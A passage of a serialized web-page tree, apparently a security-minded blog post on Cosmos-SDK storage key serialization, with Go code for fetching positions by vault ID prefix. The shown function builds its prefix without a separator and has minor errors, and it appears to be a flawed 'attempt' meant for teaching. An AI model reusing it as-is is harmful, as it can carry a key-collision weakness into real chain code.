6668},[100909],{"type":25,"tag":271,"props":100910,"children":100911},{"emptyLinePlaceholder":18},[100912],{"type":30,"value":16829},{"type":25,"tag":271,"props":100914,"children":100915},{"class":13593,"line":36710},[100916,100920,100924],{"type":25,"tag":271,"props":100917,"children":100918},{"style":14289},[100919],{"type":30,"value":89416},{"type":25,"tag":271,"props":100921,"children":100922},{"style":13620},[100923],{"type":30,"value":99919},{"type":25,"tag":271,"props":100925,"children":100926},{"style":13625},[100927],{"type":30,"value":16609},{"type":25,"tag":271,"props":100929,"children":100930},{"class":13593,"line":36743},[100931,100935,100939],{"type":25,"tag":271,"props":100932,"children":100933},{"style":13598},[100934],{"type":30,"value":98360},{"type":25,"tag":271,"props":100936,"children":100937},{"style":13609},[100938],{"type":30,"value":89537},{"type":25,"tag":271,"props":100940,"children":100941},{"style":13625},[100942],{"type":30,"value":14351},{"type":25,"tag":271,"props":100944,"children":100945},{"class":13593,"line":36751},[100946,100950,100954,100958,100962,100966],{"type":25,"tag":271,"props":100947,"children":100948},{"style":13598},[100949],{"type":30,"value":98372},{"type":25,"tag":271,"props":100951,"children":100952},{"style":13625},[100953],{"type":30,"value":44},{"type":25,"tag":271,"props":100955,"children":100956},{"style":13598},[100957],{"type":30,"value":99954},{"type":25,"tag":271,"props":100959,"children":100960},{"style":13625},[100961],{"type":30,"value":89343},{"type":25,"tag":271,"props":100963,"children":100964},{"style":13609},[100965],{"type":30,"value":97878},{"type":25,"tag":271,"props":100967,"children":100968},{"style":13625},[100969],{"type":30,"value":14351},{"type":25,"tag":271,"props":100971,"children":100972},{"class":13593,"line":36759},[100973,100977,100981,100985,100989],{"type":25,"tag":271,"props":100974,"children":100975},{"style":13625},[100976],{"type":30,"value":89498},{"type":25,"tag":271,"props":100978,"children":100979},{"style":13598},[100980],{"type":30,"value":85270},{"type":25,"tag":271,"props":100982,"children":100983},{"style":13625},[100984],{"type":30,"value":89343},{"type":25,"tag":271,"props":100986,"children":100987},{"style":13609},[100988],{"type":30,"value":97878},{"type":25,"tag":271,"props":100990,"children":100991},{"style":13625},[100992],{"type":30,"value":27925},{"type":25,"tag":271,"props":100994,"children":100995},{"class":13593,"line":36768},[100996,101000,101004,101008],{"type":25,"tag":271,"props":100997,"children":100998},{"style":13598},[100999],{"type":30,"value":98974},{"type":25,"tag":271,"props":101001,"children":101002},{"style":13603},[101003],{"type":30,"value":89532},{"type":25,"tag":271,"props":101005,"children":101006},{"style":13620},[101007],{"type":30,"value":98677},{"type":25,"tag":271,"props":101009,"children":101010},{"style":13625},[101011],{"type":30,"value":16609},{"type":25,"tag":271,"props":101013,"children":101014},{"class":13593,"line":36844},[101015,101019,101023],{"type":25,"tag":271,"props":101016,"children":101017},{"style":13625},[101018],{"type":30,"value":99568},{"type":25,"tag":271,"props":101020,"children":101021},{"style":13609},[101022],{"type":30,"value":97878},{"type":25,"tag":271,"props":101024,"children":101025},{"style":13625},[101026],{"type":30,"value":14351},{"type":25,"tag":271,"props":101028,"children":101029},{"class":13593,"line":36877},[101030,101034,101038,101042,101046,101050,101054,101058],{"type":25,"tag":271,"props":101031,"children":101032},{"style":13598},[101033],{"type":30,"value":99584},{"type":25,"tag":271,"props":101035,"children":101036},{"style":13625},[101037],{"type":30,"value":1860},{"type":25,"tag":271,"props":101039,"children":101040},{"style":13620},[101041],{"type":30,"value":98714},{"type":25,"tag":271,"props":101043,"children":101044},{"style":13625},[101045],{"type":30,"value":394},{"type":25,"tag":271,"props":101047,"children":101048},{"style":13620},[101049],{"type":30,"value":22261},{"type":25,"tag":271,"props":101051,"children":101052},{"style":13625},[101053],{"type":30,"value":394},{"type":25,"tag":271,"props":101055,"children":101056},{"style":13598},[101057],{"type":30,"value":98584},{"type":25,"tag":271,"props":101059,"children":101060},{"style":13625},[101061],{"type":30,"value":98735},{"type":25,"tag":271,"props":101063,"children":101064},{"class":13593,"line":36885},[101065],{"type":25,"tag":271,"props":101066,"children":101067},{"style":13625},[101068],{"type":30,"value":37029},{"type":25,"tag":271,"props":101070,"children":101071},{"class":13593,"line":36893},[101072,101076,101080,101084,101088,101092,101096,101100],{"type":25,"tag":271,"props":101073,"children":101074},{"style":13598},[101075],{"type":30,"value":98705},{"type":25,"tag":271,"props":101077,"children":101078},{"style":13625},[101079],{"type":30,"value":1860},{"type":25,"tag":271,"props":101081,"children":101082},{"style":13620},[101083],{"type":30,"value":98759},{"type":25,"tag":271,"props":101085,"children":101086},{"style":13625},[101087],{"type":30,"value":394},{"type":25,"tag":271,"props":101089,"children":101090},{"style":13598},[101091],{"type":30,"value":98668},{"type":25,"tag":271,"props":101093,"children":101094},{"style":13625},[101095],{"type":30,"value":44},{"type":25,"tag":271,"props":101097,"children":101098},{"style":13598},[101099],{"type":30,"value":98584},{"type":25,"tag":271,"props":101101,"children":101102},{"style":13625},[101103],{"type":30,"value":16299},{"type":25,"tag":271,"props":101105,"children":101106},{"class":13593,"line":36930},[101107],{"type":25,"tag":271,"props":101108,"children":101109},{"emptyLinePlaceholder":18},[101110],{"type":30,"value":16829},{"type":25,"tag":271,"props":101112,"children":101113},{"class":13593,"line":36943},[101114,101118,101122,101126],{"type":25,"tag":271,"props":101115,"children":101116},{"style":13598},[101117],{"type":30,"value":100111},{"type":25,"tag":271,"props":101119,"children":101120},{"style":13603},[101121],{"type":30,"value":89532},{"type":25,"tag":271,"props":101123,"children":101124},{"style":13620},[101125],{"type":30,"value":98677},{"type":25,"tag":271,"props":101127,"children":101128},{"style":13625},[101129],{"type":30,"value":16609},{"type":25,"tag":271,"props":101131,"children":101132},{"class":13593,"line":36956},[101133,101137,101141],{"type":25,"tag":271,"props":101134,"children":101135},{"style":13625},[101136],{"type":30,"value":99568},{"type":25,"tag":271,"props":101138,"children":101139},{"style":13609},[101140],{"type":30,"value":97878},{"type":25,"tag":271,"props":101142,"children":101143},{"style":13625},[101144],{"type":30,"value":14351},{"type":25,"tag":271,"props":101146,"children":101147},{"class":13593,"line":36969},[101148,101152,101156,101160,101164,101168,101172,101176],{"type":25,"tag":271,"props":101149,"children":101150},{"style":13598},[101151],{"type":30,"value":99584},{"type":25,"tag":271,"props":101153,"children":101154},{"style":13625},[101155],{"type":30,"value":1860},{"type":25,"tag":271,"props":101157,"children":101158},{"style":13620},[101159],{"type":30,"value":98714},{"type":25,"tag":271,"props":101161,"children":101162},{"style":13625},[101163],{"type":30,"value":394},{"type":25,"tag":271,"props":101165,"children":101166},{"style":13620},[101167],{"type":30,"value":22261},{"type":25,"tag":271,"props":101169,"children":101170},{"style":13625},[101171],{"type":30,"value":394},{"type":25,"tag":271,"props":101173,"children":101174},{"style":13598},[101175],{"type":30,"value":99954},{"type":25,"tag":271,"props":101177,"children":101178},{"style":13625},[101179],{"type":30,"value":98735},{"type":25,"tag":271,"props":101181,"children":101182},{"class":13593,"line":37023},[101183],{"type":25,"tag":271,"props":101184,"children":101185},{"style":13625},[101186],{"type":30,"value":37029},{"type":25,"tag":271,"props":101188,"children":101189},{"class":13593,"line":37032},[101190,101194,101198,101202,101206,101210,101214,101218],{"type":25,"tag":271,"props":101191,"children":101192},{"style":13598},[101193],{"type":30,"value":98705},{"type":25,"tag":271,"props":101195,"children":101196},{"style":13625},[101197],{"type":30,"value":1860},{"type":25,"tag":271,"props":101199,"children":101200},{"style":13620},[101201],{"type":30,"value":98759},{"type":25,"tag":271,"props":101203,"children":101204},{"style":13625},[101205],{"type":30,"value":394},{"type":25,"tag":271,"props":101207,"children":101208},{"style":13598},[101209],{"type":30,"value":100204},{"type":25,"tag":271,"props":101211,"children":101212},{"style":13625},[101213],{"type":30,"value":44},{"type":25,"tag":271,"props":101215,"children":101216},{"style":13598},[101217],{"type":30,"value":99954},{"type":25,"tag":271,"props":101219,"children":101220},{"style":13625},[101221],{"type":30,"value":16299},{"type":25,"tag":271,"props":101223,"children":101224},{"class":13593,"line":45393},[101225],{"type":25,"tag":271,"props":101226,"children":101227},{"emptyLinePlaceholder":18},[101228],{"type":30,"value":16829},{"type":25,"tag":271,"props":101230,"children":101231},{"class":13593,"line":45414},[101232,101236,101240,101244,101248,101252],{"type":25,"tag":271,"props":101233,"children":101234},{"style":13598},[101235],{"type":30,"value":99788},{"type":25,"tag":271,"props":101237,"children":101238},{"style":13603},[101239],{"type":30,"value":89532},{"type":25,"tag":271,"props":101241,"children":101242},{"style":13598},[101243],{"type":30,"value":95347},{"type":25,"tag":271,"props":101245,"children":101246},{"style":13625},[101247],{"type":30,"value":1860},{"type":25,"tag":271,"props":101249,"children":101250},{"style":13620},[101251],{"type":30,"value":98336},{"type":25,"tag":271,"props":101253,"children":101254},{"style":13625},[101255],{"type":30,"value":16609},{"type":25,"tag":271,"props":101257,"children":101258},{"class":13593,"line":94064},[101259,101263],{"type":25,"tag":271,"props":101260,"children":101261},{"style":17388},[101262],{"type":30,"value":100813},{"type":25,"tag":271,"props":101264,"children":101265},{"style":13625},[101266],{"type":30,"value":14351},{"type":25,"tag":271,"props":101268,"children":101269},{"class":13593,"line":94077},[101270,101275],{"type":25,"tag":271,"props":101271,"children":101272},{"style":13598},[101273],{"type":30,"value":101274},"        AddressMapPrefix",{"type":25,"tag":271,"props":101276,"children":101277},{"style":13625},[101278],{"type":30,"value":14351},{"type":25,"tag":271,"props":101280,"children":101281},{"class":13593,"line":94085},[101282,101286],{"type":25,"tag":271,"props":101283,"children":101284},{"style":13598},[101285],{"type":30,"value":99828},{"type":25,"tag":271,"props":101287,"children":101288},{"style":13625},[101289],{"type":30,"value":14351},{"type":25,"tag":271,"props":101291,"children":101292},{"class":13593,"line":94093},[101293,101297],{"type":25,"tag":271,"props":101294,"children":101295},{"style":13598},[101296],{"type":30,"value":99840},{"type":25,"tag":271,"props":101298,"children":101299},{"style":13625},[101300],{"type":30,"value":14351},{"type":25,"tag":271,"props":101302,"children":101303},{"class":13593,"line":94101},[101304,101308],{"type":25,"tag":271,"props":101305,"children":101306},{"style":13598},[101307],{"type":30,"value":99852},{"type":25,"tag":271,"props":101309,"children":101310},{"style":13625},[101311],{"type":30,"value":14351},{"type":25,"tag":271,"props":101313,"children":101314},{"class":13593,"line":94141},[101315,101319],{"type":25,"tag":271,"props":101316,"children":101317},{"style":13598},[101318],{"type":30,"value":99840},{"type":25,"tag":271,"props":101320,"children":101321},{"style":13625},[101322],{"type":30,"value":14351},{"type":25,"tag":271,"props":101324,"children":101325},{"class":13593,"line":94149},[101326,101330],{"type":25,"tag":271,"props":101327,"children":101328},{"style":13598},[101329],{"type":30,"value":100313},{"type":25,"tag":271,"props":101331,"children":101332},{"style":13625},[101333],{"type":30,"value":14351},{"type":25,"tag":271,"props":101335,"children":101337},{"class":13593,"line":101336},60,[101338],{"type":25,"tag":271,"props":101339,"children":101340},{"style":13625},[101341],{"type":30,"value":37029},{"type":25,"tag":271,"props":101343,"children":101345},{"class":13593,"line":101344},61,[101346],{"type":25,"tag":271,"props":101347,"children":101348},{"style":13625},[101349],{"type":30,"value":17058},{"type":25,"tag":26,"props":101351,"children":101352},{},[101353],{"type":30,"value":101354},"We now have a proper example of how to serialize storage keys.",{"type":25,"tag":26,"props":101356,"children":101357},{},[101358,101360,101365],{"type":30,"value":101359},"Nonetheless, there is more to storage than just this. As previously mentioned, storages are expected to support their original functionalities. In the case of ",{"type":25,"tag":264,"props":101361,"children":101363},{"className":101362},[],[101364],{"type":30,"value":80217},{"type":30,"value":101366},", data should still be retrievable through original keys.",{"type":25,"tag":26,"props":101368,"children":101369},{},[101370,101372,101378,101380,101385],{"type":30,"value":101371},"Let's look at a case where we want to retrieve all ",{"type":25,"tag":264,"props":101373,"children":101375},{"className":101374},[],[101376],{"type":30,"value":101377},"map[Username]map[PositionName]Position",{"type":30,"value":101379}," associated with a ",{"type":25,"tag":264,"props":101381,"children":101383},{"className":101382},[],[101384],{"type":30,"value":98248},{"type":30,"value":101386}," from the storage. How can we safely accomplish this?",{"type":25,"tag":26,"props":101388,"children":101389},{},[101390,101392,101397,101399,101405],{"type":30,"value":101391},"Fortunately, the Cosmos-SDK provides APIs to fetch all entries associated with a ",{"type":25,"tag":264,"props":101393,"children":101395},{"className":101394},[],[101396],{"type":30,"value":98319},{"type":30,"value":101398}," prefix. Below is an example of an attempt to fetch data with ",{"type":25,"tag":264,"props":101400,"children":101402},{"className":101401},[],[101403],{"type":30,"value":101404},"vaultId",{"type":30,"value":359},{"type":25,"tag":7764,"props":101407,"children":101409},{"code":101408,"language":89280,"meta":7,"className":89281,"style":7},"func FetchPositionMapWithVaultId(\n    vaultId uint64,\n) ([]map[Username]map[PositionName]Position) {\n    values := map[Username]map[PositionName]Position{}\n    i := sdk.KVStorePrefixIterator(\n        kvStore,\n        fmt.Sprintf(\"%s%d\", PositionMapPrefix, vaultId)\n    )\n    for ; i.Valid(); i.Next() {\n        k := strings.split(i.Key(), Seperator)\n\n        username := make([]byte, hex.DecodedLen(k[0]))\n        _, err := hex.Decode(username, k[0])\n        if err != nil {\n            return nil, err\n        }\n\n        positionName := make([]byte, hex.DecodedLen(k[1]))\n        _, err := hex.Decode(positionName, k[1])\n        if err != nil {\n            return nil, err\n        }\n\n        if entry, ok := values[username]; !ok {\n            values[username] = make(map[PositionName])\n        }\n\n        values[username][positionName] = Position {\n            data: iterator.Value(),\n        }\n    }\n    return values\n}\n",[101410],{"type":25,"tag":264,"props":101411,"children":101412},{"__ignoreMap":7},[101413,101429,101444,101493,101545,101574,101586,101632,101639,101685,101740,101747,101810,101871,101894,101913,101920,101927,101987,102046,102069,102088,102095,102102,102155,102203,102210,102217,102257,102286,102293,102300,102312],{"type":25,"tag":271,"props":101414,"children":101415},{"class":13593,"line":13594},[101416,101420,101425],{"type":25,"tag":271,"props":101417,"children":101418},{"style":14289},[101419],{"type":30,"value":89416},{"type":25,"tag":271,"props":101421,"children":101422},{"style":13620},[101423],{"type":30,"value":101424}," FetchPositionMapWithVaultId",{"type":25,"tag":271,"props":101426,"children":101427},{"style":13625},[101428],{"type":30,"value":16609},{"type":25,"tag":271,"props":101430,"children":101431},{"class":13593,"line":11641},[101432,101436,101440],{"type":25,"tag":271,"props":101433,"children":101434},{"style":13598},[101435],{"type":30,"value":98360},{"type":25,"tag":271,"props":101437,"children":101438},{"style":13609},[101439],{"type":30,"value":89537},{"type":25,"tag":271,"props":101441,"children":101442},{"style":13625},[101443],{"type":30,"value":14351},{"type":25,"tag":271,"props":101445,"children":101446},{"class":13593,"line":14354},[101447,101452,101456,101460,101464,101468,101472,101476,101480,101484,101489],{"type":25,"tag":271,"props":101448,"children":101449},{"style":13625},[101450],{"type":30,"value":101451},") ([]",{"type":25,"tag":271,"props":101453,"children":101454},{"style":14289},[101455],{"type":30,"value":80217},{"type":25,"tag":271,"props":101457,"children":101458},{"style":13625},[101459],{"type":30,"value":5604},{"type":25,"tag":271,"props":101461,"children":101462},{"style":13609},[101463],{"type":30,"value":98265},{"type":25,"tag":271,"props":101465,"children":101466},{"style":13625},[101467],{"type":30,"value":5630},{"type":25,"tag":271,"props":101469,"children":101470},{"style":14289},[101471],{"type":30,"value":80217},{"type":25,"tag":271,"props":101473,"children":101474},{"style":13625},[101475],{"type":30,"value":5604},{"type":25,"tag":271,"props":101477,"children":101478},{"style":13609},[101479],{"type":30,"value":98282},{"type":25,"tag":271,"props":101481,"children":101482},{"style":13625},[101483],{"type":30,"value":5630},{"type":25,"tag":271,"props":101485,"children":101486},{"style":13609},[101487],{"type":30,"value":101488},"Position",{"type":25,"tag":271,"props":101490,"children":101491},{"style":13625},[101492],{"type":30,"value":27925},{"type":25,"tag":271,"props":101494,"children":101495},{"class":13593,"line":14391},[101496,101501,101505,101509,101513,101517,101521,101525,101529,101533,101537,101541],{"type":25,"tag":271,"props":101497,"children":101498},{"style":13598},[101499],{"type":30,"value":101500},"    values",{"type":25,"tag":271,"props":101502,"children":101503},{"style":13603},[101504],{"type":30,"value":89532},{"type":25,"tag":271,"props":101506,"children":101507},{"style":14289},[101508],{"type":30,"value":62784},{"type":25,"tag":271,"props":101510,"children":101511},{"style":13625},[101512],{"type":30,"value":5604},{"type":25,"tag":271,"props":101514,"children":101515},{"style":13609},[101516],{"type":30,"value":98265},{"type":25,"tag":271,"props":101518,"children":101519},{"style":13625},[101520],{"type":30,"value":5630},{"type":25,"tag":271,"props":101522,"children":101523},{"style":14289},[101524],{"type":30,"value":80217},{"type":25,"tag":271,"props":101526,"children":101527},{"style":13625},[101528],{"type":30,"value":5604},{"type":25,"tag":271,"props":101530,"children":101531},{"style":13609},[101532],{"type":30,"value":98282},{"type":25,"tag":271,"props":101534,"children":101535},{"style":13625},[101536],{"type":30,"value":5630},{"type":25,"tag":271,"props":101538,"children":101539},{"style":13609},[101540],{"type":30,"value":101488},{"type":25,"tag":271,"props":101542,"children":101543},{"style":13625},[101544],{"type":30,"value":91210},{"type":25,"tag":271,"props":101546,"children":101547},{"class":13593,"line":14400},[101548,101553,101557,101561,101565,101570],{"type":25,"tag":271,"props":101549,"children":101550},{"style":13598},[101551],{"type":30,"value":101552},"    i",{"type":25,"tag":271,"props":101554,"children":101555},{"style":13603},[101556],{"type":30,"value":89532},{"type":25,"tag":271,"props":101558,"children":101559},{"style":13598},[101560],{"type":30,"value":91754},{"type":25,"tag":271,"props":101562,"children":101563},{"style":13625},[101564],{"type":30,"value":1860},{"type":25,"tag":271,"props":101566,"children":101567},{"style":13620},[101568],{"type":30,"value":101569},"KVStorePrefixIterator",{"type":25,"tag":271,"props":101571,"children":101572},{"style":13625},[101573],{"type":30,"value":16609},{"type":25,"tag":271,"props":101575,"children":101576},{"class":13593,"line":16406},[101577,101582],{"type":25,"tag":271,"props":101578,"children":101579},{"style":13598},[101580],{"type":30,"value":101581},"        kvStore",{"type":25,"tag":271,"props":101583,"children":101584},{"style":13625},[101585],{"type":30,"value":14351},{"type":25,"tag":271,"props":101587,"children":101588},{"class":13593,"line":16434},[101589,101594,101598,101602,101606,101611,101615,101620,101624,101628],{"type":25,"tag":271,"props":101590,"children":101591},{"style":13598},[101592],{"type":30,"value":101593},"        fmt",{"type":25,"tag":271,"props":101595,"children":101596},{"style":13625},[101597],{"type":30,"value":1860},{"type":25,"tag":271,"props":101599,"children":101600},{"style":13620},[101601],{"type":30,"value":98336},{"type":25,"tag":271,"props":101603,"children":101604},{"style":13625},[101605],{"type":30,"value":394},{"type":25,"tag":271,"props":101607,"children":101608},{"style":17388},[101609],{"type":30,"value":101610},"\"%s%d\"",{"type":25,"tag":271,"props":101612,"children":101613},{"style":13625},[101614],{"type":30,"value":44},{"type":25,"tag":271,"props":101616,"children":101617},{"style":13598},[101618],{"type":30,"value":101619},"PositionMapPrefix",{"type":25,"tag":271,"props":101621,"children":101622},{"style":13625},[101623],{"type":30,"value":44},{"type":25,"tag":271,"props":101625,"children":101626},{"style":13598},[101627],{"type":30,"value":101404},{"type":25,"tag":271,"props":101629,"children":101630},{"style":13625},[101631],{"type":30,"value":16299},{"type":25,"tag":271,"props":101633,"children":101634},{"class":13593,"line":16447},[101635],{"type":25,"tag":271,"props":101636,"children":101637},{"style":13625},[101638],{"type":30,"value":37029},{"type":25,"tag":271,"props":101640,"children":101641},{"class":13593,"line":16465},[101642,101646,101651,101655,101659,101664,101668,101672,101676,101681],{"type":25,"tag":271,"props":101643,"children":101644},{"style":16171},[101645],{"type":30,"value":16174},{"type":25,"tag":271,"props":101647,"children":101648},{"style":13625},[101649],{"type":30,"value":101650}," ; ",{"type":25,"tag":271,"props":101652,"children":101653},{"style":13598},[101654],{"type":30,"value":1937},{"type":25,"tag":271,"props":101656,"children":101657},{"style":13625},[101658],{"type":30,"value":1860},{"type":25,"tag":271,"props":101660,"children":101661},{"style":13620},[101662],{"type":30,"value":101663},"Valid",{"type":25,"tag":271,"props":101665,"children":101666},{"style":13625},[101667],{"type":30,"value":41559},{"type":25,"tag":271,"props":101669,"children":101670},{"style":13598},[101671],{"type":30,"value":1937},{"type":25,"tag":271,"props":101673,"children":101674},{"style":13625},[101675],{"type":30,"value":1860},{"type":25,"tag":271,"props":101677,"children":101678},{"style":13620},[101679],{"type":30,"value":101680},"Next",{"type":25,"tag":271,"props":101682,"children":101683},{"style":13625},[101684],{"type":30,"value":28858},{"type":25,"tag":271,"props":101686,"children":101687},{"class":13593,"line":16486},[101688,101693,101697,101702,101706,101710,101714,101718,101722,101727,101731,101736],{"type":25,"tag":271,"props":101689,"children":101690},{"style":13598},[101691],{"type":30,"value":101692},"        k",{"type":25,"tag":271,"props":101694,"children":101695},{"style":13603},[101696],{"type":30,"value":89532},{"type":25,"tag":271,"props":101698,"children":101699},{"style":13598},[101700],{"type":30,"value":101701}," strings",{"type":25,"tag":271,"props":101703,"children":101704},{"style":13625},[101705],{"type":30,"value":1860},{"type":25,"tag":271,"props":101707,"children":101708},{"style":13620},[101709],{"type":30,"value":83157},{"type":25,"tag":271,"props":101711,"children":101712},{"style":13625},[101713],{"type":30,"value":394},{"type":25,"tag":271,"props":101715,"children":101716},{"style":13598},[101717],{"type":30,"value":1937},{"type":25,"tag":271,"props":101719,"children":101720},{"style":13625},[101721],{"type":30,"value":1860},{"type":25,"tag":271,"props":101723,"children":101724},{"style":13620},[101725],{"type":30,"value":101726},"Key",{"type":25,"tag":271,"props":101728,"children":101729},{"style":13625},[101730],{"type":30,"value":31497},{"type":25,"tag":271,"props":101732,"children":101733},{"style":13598},[101734],{"type":30,"value":101735},"Seperator",{"type":25,"tag":271,"props":101737,"children":101738},{"style":13625},[101739],{"type":30,"value":16299},{"type":25,"tag":271,"props":101741,"children":101742},{"class":13593,"line":16495},[101743],{"type":25,"tag":271,"props":101744,"children":101745},{"emptyLinePlaceholder":18},[101746],{"type":30,"value":16829},{"type":25,"tag":271,"props":101748,"children":101749},{"class":13593,"line":16744},[101750,101755,101759,101763,101768,101772,101776,101780,101784,101789,101793,101797,101801,101805],{"type":25,"tag":271,"props":101751,"children":101752},{"style":13598},[101753],{"type":30,"value":101754},"        username",{"type":25,"tag":271,"props":101756,"children":101757},{"style":13603},[101758],{"type":30,"value":89532},{"type":25,"tag":271,"props":101760,"children":101761},{"style":13620},[101762],{"type":30,"value":98677},{"type":25,"tag":271,"props":101764,"children":101765},{"style":13625},[101766],{"type":30,"value":101767},"([]",{"type":25,"tag":271,"props":101769,"children":101770},{"style":13609},[101771],{"type":30,"value":97878},{"type":25,"tag":271,"props":101773,"children":101774},{"style":13625},[101775],{"type":30,"value":44},{"type":25,"tag":271,"props":101777,"children":101778},{"style":13598},[101779],{"type":30,"value":98750},{"type":25,"tag":271,"props":101781,"children":101782},{"style":13625},[101783],{"type":30,"value":1860},{"type":25,"tag":271,"props":101785,"children":101786},{"style":13620},[101787],{"type":30,"value":101788},"DecodedLen",{"type":25,"tag":271,"props":101790,"children":101791},{"style":13625},[101792],{"type":30,"value":394},{"type":25,"tag":271,"props":101794,"children":101795},{"style":13598},[101796],{"type":30,"value":6815},{"type":25,"tag":271,"props":101798,"children":101799},{"style":13625},[101800],{"type":30,"value":5604},{"type":25,"tag":271,"props":101802,"children":101803},{"style":16187},[101804],{"type":30,"value":953},{"type":25,"tag":271,"props":101806,"children":101807},{"style":13625},[101808],{"type":30,"value":101809},"]))\n",{"type":25,"tag":271,"props":101811,"children":101812},{"class":13593,"line":16761},[101813,101817,101821,101825,101829,101834,101838,101843,101847,101851,101855,101859,101863,101867],{"type":25,"tag":271,"props":101814,"children":101815},{"style":13598},[101816],{"type":30,"value":40858},{"type":25,"tag":271,"props":101818,"children":101819},{"style":13625},[101820],{"type":30,"value":44},{"type":25,"tag":271,"props":101822,"children":101823},{"style":13598},[101824],{"type":30,"value":61536},{"type":25,"tag":271,"props":101826,"children":101827},{"style":13603},[101828],{"type":30,"value":89532},{"type":25,"tag":271,"props":101830,"children":101831},{"style":13598},[101832],{"type":30,"value":101833}," hex",{"type":25,"tag":271,"props":101835,"children":101836},{"style":13625},[101837],{"type":30,"value":1860},{"type":25,"tag":271,"props":101839,"children":101840},{"style":13620},[101841],{"type":30,"value":101842},"Decode",{"type":25,"tag":271,"props":101844,"children":101845},{"style":13625},[101846],{"type":30,"value":394},{"type":25,"tag":271,"props":101848,"children":101849},{"style":13598},[101850],{"type":30,"value":98584},{"type":25,"tag":271,"props":101852,"children":101853},{"style":13625},[101854],{"type":30,"value":44},{"type":25,"tag":271,"props":101856,"children":101857},{"style":13598},[101858],{"type":30,"value":6815},{"type":25,"tag":271,"props":101860,"children":101861},{"style":13625},[101862],{"type":30,"value":5604},{"type":25,"tag":271,"props":101864,"children":101865},{"style":16187},[101866],{"type":30,"value":953},{"type":25,"tag":271,"props":101868,"children":101869},{"style":13625},[101870],{"type":30,"value":68557},{"type":25,"tag":271,"props":101872,"children":101873},{"class":13593,"line":16778},[101874,101878,101882,101886,101890],{"type":25,"tag":271,"props":101875,"children":101876},{"style":16171},[101877],{"type":30,"value":16412},{"type":25,"tag":271,"props":101879,"children":101880},{"style":13598},[101881],{"type":30,"value":61637},{"type":25,"tag":271,"props":101883,"children":101884},{"style":13603},[101885],{"type":30,"value":77501},{"type":25,"tag":271,"props":101887,"children":101888},{"style":14289},[101889],{"type":30,"value":95031},{"type":25,"tag":271,"props":101891,"children":101892},{"style":13625},[101893],{"type":30,"value":16431},{"type":25,"tag":271,"props":101895,"children":101896},{"class":13593,"line":16791},[101897,101901,101905,101909],{"type":25,"tag":271,"props":101898,"children":101899},{"style":16171},[101900],{"type":30,"value":92189},{"type":25,"tag":271,"props":101902,"children":101903},{"style":14289},[101904],{"type":30,"value":95031},{"type":25,"tag":271,"props":101906,"children":101907},{"style":13625},[101908],{"type":30,"value":44},{"type":25,"tag":271,"props":101910,"children":101911},{"style":13598},[101912],{"type":30,"value":96752},{"type":25,"tag":271,"props":101914,"children":101915},{"class":13593,"line":16800},[101916],{"type":25,"tag":271,"props":101917,"children":101918},{"style":13625},[101919],{"type":30,"value":16492},{"type":25,"tag":271,"props":101921,"children":101922},{"class":13593,"line":16823},[101923],{"type":25,"tag":271,"props":101924,"children":101925},{"emptyLinePlaceholder":18},[101926],{"type":30,"value":16829},{"type":25,"tag":271,"props":101928,"children":101929},{"class":13593,"line":16832},[101930,101935,101939,101943,101947,101951,101955,101959,101963,101967,101971,101975,101979,101983],{"type":25,"tag":271,"props":101931,"children":101932},{"style":13598},[101933],{"type":30,"value":101934},"        positionName",{"type":25,"tag":271,"props":101936,"children":101937},{"style":13603},[101938],{"type":30,"value":89532},{"type":25,"tag":271,"props":101940,"children":101941},{"style":13620},[101942],{"type":30,"value":98677},{"type":25,"tag":271,"props":101944,"children":101945},{"style":13625},[101946],{"type":30,"value":101767},{"type":25,"tag":271,"props":101948,"children":101949},{"style":13609},[101950],{"type":30,"value":97878},{"type":25,"tag":271,"props":101952,"children":101953},{"style":13625},[101954],{"type":30,"value":44},{"type":25,"tag":271,"props":101956,"children":101957},{"style":13598},[101958],{"type":30,"value":98750},{"type":25,"tag":271,"props":101960,"children":101961},{"style":13625},[101962],{"type":30,"value":1860},{"type":25,"tag":271,"props":101964,"children":101965},{"style":13620},[101966],{"type":30,"value":101788},{"type":25,"tag":271,"props":101968,"children":101969},{"style":13625},[101970],{"type":30,"value":394},{"type":25,"tag":271,"props":101972,"children":101973},{"style":13598},[101974],{"type":30,"value":6815},{"type":25,"tag":271,"props":101976,"children":101977},{"style":13625},[101978],{"type":30,"value":5604},{"type":25,"tag":271,"props":101980,"children":101981},{"style":16187},[101982],{"type":30,"value":968},{"type":25,"tag":271,"props":101984,"children":101985},{"style":13625},[101986],{"type":30,"value":101809},{"type":25,"tag":271,"props":101988,"children":101989},{"class":13593,"line":16841},[101990,101994,101998,102002,102006,102010,102014,102018,102022,102026,102030,102034,102038,102042],{"type":25,"tag":271,"props":101991,"children":101992},{"style":13598},[101993],{"type":30,"value":40858},{"type":25,"tag":271,"props":101995,"children":101996},{"style":13625},[101997],{"type":30,"value":44},{"type":25,"tag":271,"props":101999,"children":102000},{"style":13598},[102001],{"type":30,"value":61536},{"type":25,"tag":271,"props":102003,"children":102004},{"style":13603},[102005],{"type":30,"value":89532},{"type":25,"tag":271,"props":102007,"children":102008},{"style":13598},[102009],{"type":30,"value":101833},{"type":25,"tag":271,"props":102011,"children":102012},{"style":13625},[102013],{"type":30,"value":1860},{"type":25,"tag":271,"props":102015,"children":102016},{"style":13620},[102017],{"type":30,"value":101842},{"type":25,"tag":271,"props":102019,"children":102020},{"style":13625},[102021],{"type":30,"value":394},{"type":25,"tag":271,"props":102023,"children":102024},{"style":13598},[102025],{"type":30,"value":98853},{"type":25,"tag":271,"props":102027,"children":102028},{"style":13625},[102029],{"type":30,"value":44},{"type":25,"tag":271,"props":102031,"children":102032},{"style":13598},[102033],{"type":30,"value":6815},{"type":25,"tag":271,"props":102035,"children":102036},{"style":13625},[102037],{"type":30,"value":5604},{"type":25,"tag":271,"props":102039,"children":102040},{"style":16187},[102041],{"type":30,"value":968},{"type":25,"tag":271,"props":102043,"children":102044},{"style":13625},[102045],{"type":30,"value":68557},{"type":25,"tag":271,"props":102047,"children":102048},{"class":13593,"line":16907},[102049,102053,102057,102061,102065],{"type":25,"tag":271,"props":102050,"children":102051},{"style":16171},[102052],{"type":30,"value":16412},{"type":25,"tag":271,"props":102054,"children":102055},{"style":13598},[102056],{"type":30,"value":61637},{"type":25,"tag":271,"props":102058,"children":102059},{"style":13603},[102060],{"type":30,"value":77501},{"type":25,"tag":271,"props":102062,"children":102063},{"style":14289},[102064],{"type":30,"value":95031},{"type":25,"tag":271,"props":102066,"children":102067},{"style":13625},[102068],{"type":30,"value":16431},{"type":25,"tag":271,"props":102070,"children":102071},{"class":13593,"line":16915},[102072,102076,102080,102084],{"type":25,"tag":271,"props":102073,"children":102074},{"style":16171},[102075],{"type":30,"value":92189},{"ty